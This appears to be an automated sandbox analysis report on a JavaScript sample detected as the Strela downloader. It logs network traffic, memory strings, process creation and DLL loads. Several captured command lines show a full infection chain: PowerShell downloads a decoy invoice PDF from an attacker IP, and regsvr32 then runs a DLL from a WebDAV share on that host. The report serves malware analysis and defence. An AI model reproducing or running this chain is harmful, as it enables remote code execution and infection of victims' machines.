Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2146288346.00000233D02DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206493483.00000264FEFEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206493483.00000264FEF98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.2206493483.00000264FEF98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: svchost.exe, 00000009.00000002.3428060849.00000160D9A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2209105473.00000160D9760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6708, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 14551240011188825169.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r33nvas0.il4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14551240011188825169.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1652,i,12950750517814794405,11427539516468304480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1652,i,12950750517814794405,11427539516468304480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
